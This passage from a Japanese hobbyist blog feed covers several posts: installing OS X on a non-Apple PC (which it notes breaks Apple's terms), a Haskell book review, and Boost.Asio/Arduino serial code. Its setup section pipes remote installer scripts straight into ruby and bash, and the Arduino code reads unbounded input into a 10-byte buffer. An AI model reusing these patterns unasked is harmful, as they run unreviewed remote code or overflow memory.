| 配列 | QVariantList, QStringList, QObjectList, QList等 |
| JSON |  QVariantMap等 |
| その他 | QVariant, QObject, QWidget, QImage, QPixmap等 |

またSignal/SlotのOverloadも可能なほか, 以下のように呼び出すSlotを直接指定して呼び出すこともできるようです.  
`QString`を受け取るSlotに数値を渡したところ綺麗に変換(`std::stoi()`みたいな)されたのはおもしろかったです.

```javascript
myQObject[&apos;myOverloadedSlot(int)&apos;](&quot;10&quot;);
myQObject[&apos;myOverloadedSlot(QString)&apos;](10);
```

## まとめ

僕と似たような意見を持っている方を見つけたのでリンクを貼っておきます.  
[Why all GUI toolkits suck? - C++ Forum](http://www.cplusplus.com/forum/lounge/140601/)

とりあえず, 当分の間QtってるC++書きたくない.</content:encoded></item><item><title>夢を見た</title><link>https://myon.info/blog/2015/03/17/great-success-osx86-mavericks/</link><guid isPermaLink="true">https://myon.info/blog/2015/03/17/great-success-osx86-mavericks/</guid><pubDate>Tue, 17 Mar 2015 00:00:00 GMT</pubDate><content:encoded>どもども, 進級確定のとさいぬです.  
長い春休みも残り半分となりましたが, ある晩見た**夢**がすごく鮮明に残っているので忘れないようにメモっておこうと思います.

&lt;!--more--&gt;

* 本記事はあくまで**夢のメモ**であり, 記事中の画像は**記憶を元に高画質でレンダリングしたもの**です
* Apple以外で製造されたハードウェアにOS Xをインストールすることは**Appleの規約違反**になります

## Introduction

昨年秋の記事, [Arch Linuxインストールめも (2014秋版)](/blog/2014/10/06/archlinux_installation_memo_2014/) にこんな記述がありました.

&gt; ## Configure Partition

&gt; こんな感じにした

&gt; | Device | Capacity | Filesystem | Mountpoint | Memo |
&gt; | ------ | -------: | ---------- | ---------- | ---- |
&gt; | 略 |
&gt; | /dev/sda3 | 64GB |  |  | **もう一つOS入れる予定** |

実はこの記事以前も何度か**夢**を見ていたのですが, 当時のPCのパーティション構成的な問題から別で接続したハードディスクをインストール先にしていました.  
OS X on HDDはWin on HDDほどの不満はなかったものの, やはりSSDに入れたいよねという希望からこのようなパーティションに組み直したわけです.

しかし, ここから**Arch Linux + Win + OS XのTriple Boot**が完成するまでの道が大変でした.  
というのも, 秋のOS再インストールではすべてのOSをUEFIからBootするようにしたわけですが, OSx86では欠かせない[Chameleon](http://chameleon.osx86.hu/)等の特殊なブートローダが**UEFIに対応していなかった**のです[^1].

[^1]: 当時もUEFIに対応したCloverはあったが, まだ不安定で僕の環境では使い物にならなかった

しかし最近**[Clover](http://sourceforge.net/projects/cloverefiboot/)**というUEFI対応のブートローダが話題で, 使えそうだったので再挑戦してみました.

![gs](./borat_great_success.jpg)

### Components

* Intel Core i7-3930k (OC at 4.6GHz)
* Asus Rampage IV Formula (BIOS 4901)
* Nvidia Geforce GTX 660 Ti
* Corsair DDR3-1600 8GB x4
* Plextor M5S 256GB
* HDD 3TB
* Intel Centrino Advanced-N 6205 for Desktop [^2]
* PFU HHKB Lite 2 (US-Layout)
* Razer DeathAdder 3500 BE

[^2]: 残念ながらMacでは使うことができません. 誰かドライバ書いてくださいなんでもしますから!

パーティション構成は上記の秋の記事を参照

## Install OS X

大体は[Install Mac OS X | Rampage Dev](http://www.rampagedev.com/?page_id=144)を参考に, Mavericksをインストールをしました.

### Create Mavericks Install USB

知り合いのMacerに借りたり, NireshみたいなOS X環境を使うなどしてInstaller USB driveを作りました.  
手順は上記リンク先通りです.

### Configure BIOS

重要そうな部分の画像を貼っておきます.  
よくVT-xやVT-dは切ったほうがよい等の記述を見かけますが, 別に有効のままで問題無いと思います.  
![bios1](./150317073429.png)  
![bios2](./150317073312.png)  
![bios3](./150317073358.png)  
![bios4](./150317073350.png)

### OS X Installation

作成したUSB driveから**UEFI**でBoot.  
Cloverのメニューが表示されたらキーボードの`o`でオプションを開き, boot flagsに

```
-v cpus=1 npci=0x2000 nv_disable=1
```

を設定してインストーラを起動します.  
`nv_disable=1` はGeforce GTX 6xx等が刺さっている場合で必須です. (ブラックアウトする)

インストーラが起動したら画面に従ってパーティションのフォーマット&amp;&amp;インストールをしました.  
途中で一度再起動がかかりますが, **この時点ではまだインストールが完了していない**のでもう一度USBからインストーラをBootする必要があります. (これに気づけずやり直しまくってた)

## Post Installation

ブートローダをインストールするまではインストールに使ったUSBから起動します. 先ほどのboot flagsを付けるのも忘れずに.  
もしも`VM Swap Subsystem is on`とかでBootが止まってしまう場合は, boot flagsに`-x`[^3]を追加すると起動できるかもしれません.

[^3]: Safe modeで起動させるオプション

### Prepare Tools

以下のツールをUSBメモリ等で突っ込みました.

* [MultiBeast](http://www.tonymacx86.com/downloads.php?do=file&amp;id=255)
* [Kext Wizard](http://www.insanelymac.com/forum/topic/253395-kext-wizard-easy-to-use-kext-installer-and-more/)

### Install NIC Driver

いろいろと不便なので, とりあえず先にNICのドライバを突っ込みました.

インストール後の設定をいろいろやってくれるMultiBeastは定番ですが, そのまま起動して指示通りに操作するとChameleonをインストールしようとしてくるため, 今回のようにCloverを使う場合には少々不便です.  
そこで, MultiBeast.appの右クリックメニューからShow Package Contentsで中身を開き, `Contents/Resources/AppleIntelE1000e-v3.1.0.pkg`を抜き出してインストールすることにしました.  
![MultiBeast](./Screen_Shot_2015-03-16_at_19.43.53.png)

NICドライバのインストール後はKext Wizardを開き, **Repair permissions/Rebuild cacheを行ってから**再起動します.  
![Kext Wizard](./Screen_Shot_2015-03-16_at_19.55.34.png)

### System Update

このあとデバイスドライバ等を組み込んでいくわけですが, ドライバを入れたあとのシステムアップデートは不都合を起こしやすい(経験上)ため, 先に済ませておくことにしました.  
システムアップデートをする分にはApple IDでのログインは必要なかった気がします.

### Install Device Driver

NICドライバのインストールを行った時と同様の方法でMultiBeastから以下のインストーラを抜き出し, 全部インストールしました.

* AHCI\_3rdParty\_SATA.pkg
* AHCI\_Intel\_Generic\_SATA.pkg
* AppleHDA-898.pkg[^4]
* FakeSMC-v6.9.1315-HWMonitor.pkg
* FakeSMC-v6.9.1315-Plugins.pkg
* FakeSMC-v6.9.1315.pkg
* GenericUSBXHCI-v1.2.7.pkg
* PS2-Keyboard-Mouse.pkg

[^4]: ここでオンボードオーディオのドライバを入れていますが, DSDT.amlを入れてやるまでは動作しません.

**Repair permissions/Rebuild cacheを忘れずに行ってから**再起動します.

## Enable SpeedStep

x79というのは(一般的には)特殊なプラットフォームであるためか, この時点ではCPUのSpeedStepが効かず, CPUのクロックは定格(3.2GHz)固定で動作してしまいます.  
別にこのままでも使い物にならないわけではありませんが, **Turbo Boostすら効かない**ため, CINEBENCH R11.5では2.5ほどのスコア低下が起きてしまったりといろいろ残念です.

ググったところ, [Guide: Asus X79 OS X Controlled SpeedStep](http://www.tonymacx86.com/general-help/127574-guide-asus-x79-os-x-controlled-speedstep.html) という素晴らしい記事がありましたので, これを参考にすることにしました.  
また, このようなACPI周りはブートローダの設定に依存してくるため, Cloverのインストールもここで行いました.

### Create DSDT.aml

上記記事中のリンクにもある [Asus Rampage IV Extreme Guide: Create your DSDT in 5 min using MacIASL.](http://www.tonymacx86.com/dsdt/114418-asus-rampage-iv-extreme-guide-create-your-dsdt-5-min-using-maciasl.html) を参考に作業しました.

[MaciASL](http://sourceforge.net/projects/maciasl/)を開き, File -&gt; New from ACPI -&gt; DSDT を選択.  
![maciasl menu](./Screen_Shot_2015-03-17_at_9.21.16.png)

開いたウィンドウ上部のPatchをクリックし, 下部のOpenから[1スレッド目のAttached Filesにある R4E\_DSDT\_Patch\_10-2014.txt](http://www.tonymacx86.com/general-help/127574-guide-asus-x79-os-x-controlled-speedstep.html)を読み込ませApply.  
ファイル名がどう見てもR4E用ですが, R4Fでも(今のところ)問題はなかったです.  
![maciasl patch](./Screen_Shot_2015-03-17_at_9.27.05.png)

ウィンドウ上部のCompileをクリックし問題がないことを確認した後, File -&gt; Save As を選択.  
File Formatを`ACPI Machine Language Binary`, File Nameを`DSDT.aml`にして適当な場所に保存しておきます.  
![maciasl save](./Screen_Shot_2015-03-17_at_9.36.44.png)

### Create ssdt.aml

[ssdtPRgen.sh](https://github.com/Piker-Alpha/ssdtPRGen.sh)をダウンロードします.  
ターミナルを開き, こんな感じコマンドを叩いていくとデスクトップに`ssdt.aml`, `DSDT.dsl`が作成されます.

```
$ sudo ./ssdtPRGen.sh -c 1 -m MacPro6,1 -b Mac-F60DEB81FF30ACF6 -w 3 -turbo 4600
ssdtPRGen.sh v0.9 Copyright (c) 2011-2012 by † RevoGirl
             v6.6 Copyright (c) 2013 by † Jeroen
             v15.6 Copyright (c) 2013-2015 by Pike R. Alpha
-----------------------------------------------------------
Bugs &gt; https://github.com/Piker-Alpha/ssdtPRGen.sh/issues &lt;

Override value: (-c) CPU type, now using: Ivy Bridge!
Override value: (-m) model, now using: MacPro6,1!
Override value: (-b) board-id, now using: Mac-F60DEB81FF30ACF6!
Override value: (-w) Ivy Bridge workarounds, now set to: 3!
Override value: (-turbo) maximum (turbo) frequency, now using: 4600 MHz!

System information: Mac OS X 10.9.5 (13F1066)
Brandstring &apos;Intel(R) Core(TM) i7-3930K CPU @ 3.20GHz&apos;

Scope (_SB_) {23608 bytes} with ACPI Processor declarations found in the DSDT (ACPI 1.0 compliant)
Generating ssdt.dsl for a &apos;MacPro6,1&apos; with board-id [Mac-F60DEB81FF30ACF6]
Ivy Bridge Core i7-3930K processor [0x206D7] setup [0x0a01]
With a maximum TDP of 130 Watt, as specified by Intel
Number logical CPU&apos;s: 12 (Core Frequency: 3200 MHz)
Number of Turbo States: 14 (3300-4600 MHz)
Number of P-States: 35 (1200-4600 MHz)
Injected C-States for C000 (C1,C3,C6)
Injected C-States for C001 (C1,C3,C6)
Warning: &apos;system-type&apos; may be set improperly (1 instead of 3)

Intel ACPI Component Architecture
ASL Optimizing Compiler version 20140926-64 [Nov  6 2014]
Copyright (c) 2000 - 2014 Intel Corporation

ASL Input:     /Volumes/MacHome/Users/cocoa/Desktop/ssdt.dsl - 373 lines, 11348 bytes, 96 keywords
AML Output:    /Volumes/MacHome/Users/cocoa/Desktop/ssdt.aml - 2735 bytes, 40 named objects, 56 executable opcodes

Compilation complete. 0 Errors, 0 Warnings, 0 Remarks, 0 Optimizations

Do you want to copy /Volumes/MacHome/Users/cocoa/Desktop/ssdt.aml to /Extra/ssdt.aml? (y/n)? n
Do you want to open ssdt.dsl (y/n)? n
```

`Ivy Bridge Core i7-3930K processor`に違和感がありますが, 気にしなくて大丈夫です.

### Install Clover

[Cloverのサイト](http://sourceforge.net/projects/cloverefiboot/)から最新のインストーラをダウンロードし(今回はv2.3-r3193), `Clover_v2.3k_r3193.pkg`を実行.  
Continue -&gt; Continue -&gt; Customize と進み, こんな感じにチェックを入れてInstallしました.  
![clover](./Screen_Shot_2015-03-17_at_9.52.18.png)

Cloverの設定等が置かれるESPをマウントするために, Macのターミナルから

```
$ diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *256.1 GB   disk0
   1:                        EFI ESP                     536.9 MB   disk0s1 // &lt;- これがESPっぽい

--- 略 ---

$ sudo diskutil mount disk0s1
Volume ESP on disk0s1 mounted
```

という感じにコマンドを叩きます.

`/Volumes/ESP/EFI/CLOVER/config.plist`を[こんな感じ](https://gist.github.com/Tosainu/9ed51dfde6fa9270a25b)に設定しました.  
また, `/Volumes/ESP/EFI/CLOVER/ACPI/patched/`の中に先ほど作成した`DSDT.aml`と`ssdt.aml`を突っ込みます.

### Install kexts

[1スレッド目のAttached Filesにある X79\_CPUPM\_kexts.zip](http://www.tonymacx86.com/general-help/127574-guide-asus-x79-os-x-controlled-speedstep.html)をダウンロード&amp;&amp;解凍し, 中の`AppleIntelCPUPowerManagementSandE.kext`, `X79X86PlatformPlugin.kext`をデスクトップに置きます.  
[KextBeast](http://www.tonymacx86.com/downloads.php?do=file&amp;id=32)を実行して, デスクトップに置いたkextをインストールしました.

最後に**Repair permissions/Rebuild cacheを忘れずに行ってから**再起動します.

### Configure Bootloader

CloverのインストーラがUEFIのエントリへの登録もやってくれるはずなのですが, 何故かされていませんでした.  
そのためArch Linuxを起動して, ターミナルからこんな感じのコマンドを叩いて登録しました.

```
// /dev/sdXはESPがあるストレージのパス
$ sudo efibootmgr -c -d /dev/sdX -l /EFI/CLOVER/CLOVERX64.efi -L &quot;Clover&quot;
```

また, 個人的にCloverをメインのブートローダにするのはいろいろと不便なので, `/etc/grub.d/40_custom`にこんな感じの設定を追加し, GrubのメニューからCloverを起動できるようにしてみました.  
ポイントは`chainloader`に`/EFI/CLOVER/CLOVERX64.efi`ではなく`/EFI/Boot/BOOTX64.efi`を指定してやるところです.

```
menuentry &quot;Clover&quot; {
  insmod fat
  insmod search_fs_uuid
  insmod chain
  search --fs-uuid --set=root $hints_string $uuid
  chainloader /EFI/Boot/BOOTX64.efi
  boot
}
```

`$uuid`と`$hints_string`には以下のコマンドを実行した時の結果を設定します.

```
// $uuid
$ sudo grub-probe --target=fs_uuid /boot/efi/EFI/Boot/BOOTX64.efi

// $hints_string
$ sudo grub-probe --target=hints_string /boot/efi/EFI/Boot/BOOTX64.efi
```

最後にGrubの設定ファイルを再生成して完了です.

```
$ sudo grub-mkconfig -o /boot/grub/grub.cfg
```

### ∩(＞◡＜✘)∩

もうインストールに使ったUSBメモリなしで起動できるようになりました.  
また, こんな感じにSpeedStepが効いているのを確認できると思います.

![idle](./Screen_Shot_2015-03-17_at_11.30.49.png) ![load](./Screen_Shot_2015-03-17_at_11.31.07.png)

## Install Softwares

システムの設定はこれで完了なので, 今度は使い物になるように(特に黒画面の)ツールを整えていきます.

### Device Utilities

* [Razer Synapse 2.0 (MAC)](http://drivers.razersupport.com/index.php?_m=downloads&amp;_a=view&amp;parentcategoryid=239&amp;pcid=0&amp;nav=0&amp;_m=downloads&amp;_a=view&amp;parentcategoryid=239&amp;pcid=0&amp;nav=0)
* [HHKB Lite2 for Mac](http://www.pfu.fujitsu.com/hhkeyboard/macdownload_lite2.html)
* [Wacom Tablet for Mac OS X](http://tablet.wacom.co.jp/download/download_detail.html?drv_c=531)

### from App Store

* Blackmagic Disk Speed Test
* Twitter for Mac
* TweetDeck
* Xcode

### Command Line Tools

```
$ sudo xcodebuild -license
$ xcode-select --install
```

### Homebrew

```
$ ruby -e &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&quot;
```

`.zshrc`等を編集してPATHに`/usr/local/bin/`, `/usr/local/sbin`を追加.

```zsh
path=(
  /usr/local/bin(N-/)
  /usr/local/sbin(N-/)
  $path
)
```

これらを突っ込んだ.

```
$ brew list
autoconf  brew-cask     gdbm  gmp           libksba   luajit    pcre        sl    zsh
automake  clang-format  ghc   go            libtool   mercurial pkg-config  vim
boost     cmake         git   libgpg-error  libyaml   openssl   readline    xz
```

#### Vim

Pythonを有効にするといろいろ入れられて気分が悪かったので`--without-python`した.

```
$ brew install vim \
  --override-system-vi \
  --with-lua \
  --with-luajit \
  --without-python \
  --HEAD
```

#### OpenSSL

MavericksデフォルトのOpenSSL 0.9.8zcは古すぎてTLS 1.1/1.2に対応しておらず, 例えばBoost.Asioを使ったこんなコードを書くとinvalid\_argument例外が投げられます.

```cpp
boost::asio::ssl::context context(boost::asio::ssl::context_base::tlsv12);
```

仕方ないので, Warningは出るけどこうしました.

```
$ brew link openssl --force
```

### node.js

```
$ git clone https://github.com/creationix/nvm.git ~/.nvm
$ source ~/.nvm/nvm.sh
$ nvm install 0.12
$ nvm use 0.12
$ nvm alias default 0.12
```

`.zshrc`に以下を記述.

```zsh
[ -s ~/.nvm/nvm.sh ] &amp;&amp; . ~/.nvm/nvm.sh
```

### Ruby

```
$ curl -sSL https://get.rvm.io | bash -s -- --ignore-dotfiles
$ rvm install ruby-2.2
$ rvm use 2.2 --default
```

`.zshrc`に以下を記述.

```zsh
[ -s ~/.rvm/scripts/rvm ] &amp;&amp; source ~/.rvm/scripts/rvm
```

### Homebrew Cask

```
$ brew install caskroom/cask/brew-cask
```

デフォルトではインストールしたアプリケーションのリンクが`~/Applications/`に張られるようなのですが, いろいろと都合が悪いので, `.zshrc`とかに

```shell
export HOMEBREW_CASK_OPTS=&quot;--appdir=/Applications&quot;
```

を書いて, `/Applications/`に張られるようにしました.

Caskではこれらを突っ込んだ.

```
$ brew cask list
appcleaner  firefox  google-japanese-ime  karabiner  xtrafinder
chromium    gimp     iterm2               onyx
```

#### XtraFinder

デフォルトのFinderは**ファイル/ディレクトリのカットができなかったり**, **Icon Viewで項目が自動整列されなかったり**と不便なのですが, それを可能にしてくれます.  
設定はこんな感じにしてみました.  
![xf](./Screen_Shot_2015-03-17_at_14.23.43.png)

#### Karabinder

Macを使ってみてからずっと気になっていたのですが, Key Repeatが**異様に遅い**のです.  
キーボードの設定に**Key Repeat**という項目がありますが, それをFastにしても全然遅いです.

もっと早くできないかと調べていて出会ったのがこれです.  
とりあえず`Delay Until Repeat`を`275ms`, `Key Repeat`を`27ms`に設定して様子を見ています.  
![kb](./Screen_Shot_2015-03-17_at_14.30.12.png)

また, MacにはCommand key (`⌘`)がありますが, 僕にはこのキーの扱いにどうも馴染めませんでした.  
というのも, Macのキーボードショートカットは(非Macer的には)変わっていて, 例えばコピーやペーストなどの普段Ctrlキーを使うキーボードショートカットがCommandキーとの組み合わせになっていたりするのです.

そのため System Preferences -&gt; keyboard -&gt; Modifier Keys を開いてこんなかんじにCommandとCtrlを入れ替える設定をしてみました.  
![key](./Screen_Shot_2015-03-17_at_14.41.59.png)

しかし, この設定はターミナルで問題を起こします.  
僕はよく`^C`とか`^D`を使ったりするのですが, これらはMacでもCtrlキーを使うため, 上の設定ではキーボードのCommandキーに相当するキーを使わないといけなくなります.

これを解決するために, [Macでのキーバインド変更（CtrlとCommand入れ替え，ターミナル.appを使うときは入れ替えない） - 木綿豆腐。](http://d.hatena.ne.jp/yamamo_men/20120210/1328887773) を参考に設定をしました.  
上記記事中ではKeyRemap4MacBookという名前のソフトウェアが登場しますが, Karabinderの古い名前であるだけで, 記事中のxmlもそのまま使えます.

## Images

壁紙だけ流行に乗りました.  
画面が縦なのは, 接続しているディスプレイを普段ノートパソコンのサブディスプレイとして使っているからです.
![Desktop](./Screen_Shot_2015-03-17_at_17.42.50.png)

Mac Proです. (大嘘)  
![abouthismac](./Screen_Shot_2015-03-17_at_16.47.24.png)

起動ドライブのSSD. 特に何かしたわけじゃないけどTRIM対応してた.  
![ssd](./Screen_Shot_2015-03-17_at_16.48.19.png)

まぁまぁな感じ.  
![ssdbench](./Screen_Shot_2015-03-17_at_16.52.32.png)

氏ねベンチ新旧. OpenGLが若干落ちるが, CPUはWin版と大して変わらない結果が出せた.
![cine11.5](./Screen_Shot_2015-03-17_at_16.43.56.png)  
![cine15](./Screen_Shot_2015-03-17_at_16.46.58.png)

## Great Success!

ここまでしてMac環境が欲しかったのには理由があって, 以前も何度か紹介しているTwitterライブラリ[twitpp](https://github.com/Tosainu/twitpp)をMacに正式対応させたかったわけです.

僕が趣味で書くプログラムは, Windowsには対応させなくとも, 一応\*nix系であるMacくらいには対応させたいなと思っています.  
しかし, 先日の[CocoaTwitのネタ紹介記事](/blog/2015/02/28/cocoatwit/)でも書いたようにtwitppがMacで動かないことが判明しました.

この環境が整ったことにより, twitppはAppleClangでエラーが出るコードが修正され, また環境によって異なるBoost等のパスに対応させるためCMakeを導入し, ついに[Macでも動かせるようになりました](https://github.com/Tosainu/twitpp/commit/95e20d4d11e02bf3e32c35663bedc837b358066e).

気が向いたらYosemiteの夢も見てみようかなーなんて.  
ではではー.</content:encoded></item><item><title>すごいH本を読み始めた</title><link>https://myon.info/blog/2015/03/30/learn-you-a-haskell-for-great-good/</link><guid isPermaLink="true">https://myon.info/blog/2015/03/30/learn-you-a-haskell-for-great-good/</guid><pubDate>Mon, 30 Mar 2015 00:00:00 GMT</pubDate><content:encoded>ヾ(❀╹◡╹)ﾉﾞ

数日前から**すごいH本**こと[**すごいHaskellたのしく学ぼう!**](http://www.amazon.co.jp/%E3%81%99%E3%81%94%E3%81%84Haskell%E3%81%9F%E3%81%AE%E3%81%97%E3%81%8F%E5%AD%A6%E3%81%BC%E3%81%86-Miran-Lipova%C4%8Da/dp/4274068854/)を読み始めました.  
以前から読んでみたいなと思っており, 学校図書館にお願いしてみたところ入れてもらえました. ありがたい.

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;学校図書館の新刊情報です &lt;a href=&quot;http://t.co/sYBUo1aBkq&quot;&gt;pic.twitter.com/sYBUo1aBkq&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/532708548568834049&quot;&gt;November 13, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

以来3ヶ月以上この本を借りていた[^1]のですが, 学校の勉強が忙しかったり, 複数のプログラミング言語に手を出すのはアレだよなぁと思いながら結局1ページも読んでいませんでした.  
しかし, 春休み後半に入り, [こういう問題のうまい解決案](http://isocpp.org/wiki/faq/templates#templates-defn-vs-decl)の模索に嫌気が[^2]差して\_(:3 」∠)\_していたため, 気分転換にと読み始めました.

[^1]: 延滞ではなく延長です
[^2]: 半月くらいundefined reference to ~ とかmultiple definition of ~ といったLinker errorばかりに遭遇していたもんで..... 原因は単純なんだけどなぁ

&lt;!--more--&gt;

## &quot;すごいHaskell楽しく学ぼう!&quot; の感想

現時点でまだ5章までしか読めていないのですが, それでもこの本は**とてもわかりやすく**, 何より**楽しい**と断言できます.

というのも, 僕がHaskellに手を出すのはこれが初めてではなく, 2013年秋のプログラミング言語の選択に迷っていた時期から何度かHaskell本を読んでは諦めていました.  
例えばその時読んだ本の一つである[Real World Haskell―実戦で学ぶ関数型言語プログラミング](http://www.oreilly.co.jp/books/9784873114231/)は &quot;3章-型を定義し、関数を単純化する&quot; あたり(だったと思う)からの急なレベルの上昇に挫折, [Software Design 2010年6月号](http://gihyo.jp/magazine/SD/archive/2010/201006)の関数型言語特集はHaskellに対する興味を高めることができたものの, 言語の入門としては情報不足でした.

それに対しこの本は, イントロダクションの**GHCi[^3]の使い方**に始まり, 1章の**関数の定義, リスト, タプル**, 2章の**型**, 3章の**リスト/タプルのパターンマッチ**や**ガード式等**, 4章の**再帰関数**, そして5章の**高階関数**といったように, **Haskellにとっての基本的なこと**から(訳者序文の言葉で)**ファンシーなイラストと共に軽妙な語り口で**解説しており, **非常にわかりやすく**, 何より**読んでいて楽しい**のです.

[^3]: Haskellのインタプリタ

本当に今まで読んだHaskell本とは全く違いました. 今は図書館で借りていますが, いずれは**My H本**を入手せねばなと思っています.

## &quot;Haskell&quot; に対しての感想

いやぁ, **Haskell強い!** 想像を超える強さがこの言語にはありました.  
いわゆる**一目惚れ**ってやつです. 元々C++を勉強していたことをふまえると浮気みたいな感じですが...

とりあえず, **この数日で勉強した中から**強いなと思ったものをいくつか挙げてみます.

### 文法的な面

とてもシンプルで, 普段書いているC++と比べると**打ちやすい**言語だと思います.  
例えば, 数値を1つ受け取ってその2倍を返す関数`twice`をC++14で書くとこんな感じになりますが,

```cpp
template &lt;typename T&gt;
constexpr auto twice(T x) {
  return x * 2;
}
```

Haskellではこう

```haskell
twice :: (Num a) =&gt; a -&gt; a
twice x = x * 2
```

また, **カリー化**の考え方を使えば

```haskell
twice :: (Num a) =&gt; a -&gt; a
twice = (*2)
```

みたいに書けるらしいです.

あのラムダ式も...

```cpp
[](auto x, auto y) {
  return x + y;
}
```

```haskell
\x y -&gt; x + y
```

めっちょシンプル.

単に打ち込む文字数が少ないだけでなく, `()`や`{}`といった一般的なキーボードで**Shift + □**のようにしないと打ち込めない文字列が少なくて済むのも気に入りました.

### リスト

リストは同じ型の要素を複数格納するデータ構造, 普段使っている言葉だと配列みたいなものでしょうか.  
文法としてはこんな感じ.

```haskell
[1, 2, 3, 4, 5, 6, 7, 8, 9]

[&quot;foo&quot;, &quot;bar&quot;, &quot;baz&quot;, &quot;qux&quot;]
```

本当にすごいのはここからで, 例えば列挙できる要素の組み合わせでリストを作る**レンジ**

```haskell
[1..5] -- =&gt; [1,2,3,4,5]

[1,3..19] -- =&gt; [1,3,5,7,9,11,13,15,17,19]

[&apos;A&apos;..&apos;Z&apos;] -- =&gt; &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
```

Haskellの**遅延評価**を活かした**無限リスト**

```haskell
-- take は先頭からn個分の要素のリストを返す関数

take 3 [1..] -- =&gt; [1,2,3]
```

ある集合から別の集合を作る**リスト内包表記**

```haskell
take 10 [x * 2| x &lt;- [1..]] -- =&gt; [2,4,6,8,10,12,14,16,18,20]

take 10 [x | x &lt;- [1..], x `mod` 3 == 0] -- =&gt; [3,6,9,12,15,18,21,24,27,30]
```

とにかく強い.

### ガード

3の倍数が渡されたら`Fizz`, 5の倍数が渡されたら`Buzz`, 3と5の公倍数が渡されたら`FizzBuzz`を返す, いわゆるFizzBuzzっぽいことをする関数を, C++でもおなじみな`if`を使って書いてみる.

```haskell
fizz x = if x `mod` 15 == 0
           then &quot;FizzBuzz&quot;
           else
             if x `mod` 3 == 0
               then &quot;Fizz&quot;
               else
                 if x `mod` 5 == 0
                   then &quot;Buzz&quot;
                   else show (x)
```

うーん...

でもこれを, **ガード**を使って書きなおしてみる.

```haskell
fizz x
  | x `mod` 15  == 0  = &quot;FizzBuzz&quot;
  | x `mod`  3  == 0  = &quot;Fizz&quot;
  | x `mod`  5  == 0  = &quot;Buzz&quot;
  | otherwise         = show (x)
```

めっちょCool.

## ∩(＞◡＜\*)∩

まだすごいところはいっぱいあるけど, 今回はこの辺で.  
ではではー.</content:encoded></item><item><title>Boost.Asioでシリアル通信してみる</title><link>https://myon.info/blog/2015/04/19/boost-asio-serial/</link><guid isPermaLink="true">https://myon.info/blog/2015/04/19/boost-asio-serial/</guid><pubDate>Sun, 19 Apr 2015 00:00:00 GMT</pubDate><content:encoded>にゃんにゃん.

[自作の某ライブラリ](https://github.com/Tosainu/twitpp)でhttpクライアントとして使っている[Boost.Asio](http://www.boost.org/doc/libs/1_58_0/doc/html/boost_asio.html)ですが, シリアル通信もできるっぽいので, 雑にArduinoとPing-Pongしてみました.  
![arduino](./IMG_2763.JPG)

## 環境

* Arch Linux x86\_64
* Boost 1.57.0
* clang 3.6.0
* Arduino Uno
* avr-gcc 4.9.2
* avrdude 6.1

## PC側

簡単ですね. Boostのドキュメント見ながらでも数分で書けました.

```cpp
#include &lt;chrono&gt;
#include &lt;thread&gt;
#include &lt;iostream&gt;
#include &lt;boost/asio.hpp&gt;

auto main() -&gt; int {
  boost::asio::io_service io;

  // ポートは /dev/ttyACM0
  boost::asio::serial_port serial(io, &quot;/dev/ttyACM0&quot;);
  // 速度は 9600bps
  serial.set_option(boost::asio::serial_port_base::baud_rate(9600));

  // テキトウに5秒待つ
  std::this_thread::sleep_for(std::chrono::seconds(5));

  // &quot;ping&quot; を送信
  boost::asio::write(serial, boost::asio::buffer(&quot;ping\n&quot;));

  // serial から response_buf に &apos;\n&apos; まで読み込む
  boost::asio::streambuf response_buf;
  boost::asio::read_until(serial, response_buf, &apos;\n&apos;);

  // 表示して終わり
  std::cout &lt;&lt; boost::asio::buffer_cast&lt;const char*&gt;(response_buf.data());
}
```

```
$ clang++ -std=c++1y -Wall -Wextra -lboost_system serial.cc
$ ./a.out
```

## Arduino側

正直こっちのほうが時間がかかりました. 5時間位でしょうか...  
まぁArduino(AVR)触ったのも2年ぶりくらいだし仕方ないね.

```cpp
#define F_CPU 16000000UL
#define BAUD 9600

#include &lt;avr/io.h&gt;
#include &lt;util/setbaud.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

static FILE uart_stdin;
static FILE uart_stdout;

static int uart_getchar(FILE*) {
  loop_until_bit_is_set(UCSR0A, RXC0);
  return UDR0;
}

static int uart_putchar(char c, FILE*) {
  loop_until_bit_is_set(UCSR0A, UDRE0);
  UDR0 = c;
  return 0;
}

static void uart_init() {
  // baud rate の設定
  UBRR0H = UBRRH_VALUE;
  UBRR0L = UBRRL_VALUE;

  // TX/RX を有効に
  UCSR0B = _BV(RXEN0) | _BV(TXEN0);
  // データは 8-bit
  UCSR0C = _BV(UCSZ01) | _BV(UCSZ00);

  // シリアル入出力を stdin/stdout に当てる
  fdev_setup_stream(&amp;uart_stdin, nullptr, uart_getchar, _FDEV_SETUP_READ);
  fdev_setup_stream(&amp;uart_stdout, uart_putchar, nullptr, _FDEV_SETUP_WRITE);
  stdin = &amp;uart_stdin;
  stdout = &amp;uart_stdout;
}

auto main() -&gt; int {
  uart_init();

  // 読み込む
  char str[10];
  scanf(&quot;%s&quot;, str);

  // 読み込んだデータが &quot;ping&quot; だったら &quot;pong&quot; を返す
  if (!strcmp(str, &quot;ping&quot;)) {
    printf(&quot;pong\n&quot;);
  }
}
```

```
$ avr-g++ -std=c++1y -mmcu=atmega328p -Wall -Wextra -Os pingpong.cc
$ avr-objcopy -O ihex -j .text -j .data a.out pingpong.hex
$ avrdude -c arduino -P /dev/ttyACM0 -p m328p -b 115200 -u -e -U flash:w:pingpong.hex:a
```

## see also

* [avr\_demo/hello\_uart at master · tuupola/avr\_demo](https://github.com/tuupola/avr_demo/tree/master/hello_uart)</content:encoded></item><item><title>関数の戻り値が最も小さくなる配列の要素は何番目か</title><link>https://myon.info/blog/2015/06/13/std-min-element/</link><guid isPermaLink="true">https://myon.info/blog/2015/06/13/std-min-element/</guid><pubDate>Sat, 13 Jun 2015 00:00:00 GMT</pubDate><content:encoded>関数`foo()`と何らかの値の入った配列`nyan`があって,

```cpp
double foo(double arg) {
  return std::acos(arg);
}

double nyan[] = {.0, -.1, .3, -.5, .7};
```

